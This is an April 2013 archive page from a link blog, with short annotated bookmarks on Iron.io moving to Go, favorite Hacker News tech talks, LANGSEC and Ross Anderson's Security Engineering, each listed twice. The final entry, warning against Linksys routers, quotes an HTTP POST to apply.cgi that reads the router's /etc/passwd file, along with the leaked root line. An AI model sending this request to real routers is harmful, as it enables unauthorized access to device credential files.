Archive for April, 2013

High Scalability – High Scalability – Iron.io Moved From Ruby to Go: 28 Servers Cut and Colossal Clusterf**ks Prevented

Sunday, April 14th, 2013

sometimes language makes a difference ( i.e ruby is too low for a service stack )

High Scalability – High Scalability – Iron.io Moved From Ruby to Go: 28 Servers Cut and Colossal Clusterf**ks Prevented

Sunday, April 14th, 2013

sometimes language makes a difference ( i.e ruby is too low for a service stack )

HN’s favorite tech talks

Sunday, April 14th, 2013

Collection of great takes from Hacker News/YCombinator ppl. Full discussion https://news.ycombinator.com/item?id=5511466

HN’s favorite tech talks

Sunday, April 14th, 2013

Collection of great takes from Hacker News/YCombinator ppl. Full discussion https://news.ycombinator.com/item?id=5511466

Language-theoretic Security

Sunday, April 14th, 2013

The Language-theoretic approach (LANGSEC) regards the Internet insecurity epidemic as a consequence of ad hoc programming of input handling at all layers of network stacks, and in other kinds of software stacks. LANGSEC posits that the only path to tru…

Language-theoretic Security

Sunday, April 14th, 2013

The Language-theoretic approach (LANGSEC) regards the Internet insecurity epidemic as a consequence of ad hoc programming of input handling at all layers of network stacks, and in other kinds of software stacks. LANGSEC posits that the only path to tru…

Security Engineering – A Guide to Building Dependable Distributed Systems

Sunday, April 14th, 2013

Security Engineering , by Ross Andreson. ‘It’s beautiful. This is the best book on the topic there is’ Bruce Schneier

Security Engineering – A Guide to Building Dependable Distributed Systems

Sunday, April 14th, 2013

Security Engineering , by Ross Andreson. ‘It’s beautiful. This is the best book on the topic there is’ Bruce Schneier

Don’t Use Linksys Routers « Superevr

Sunday, April 14th, 2013

the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…

Don’t Use Linksys Routers « Superevr

Sunday, April 14th, 2013

the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…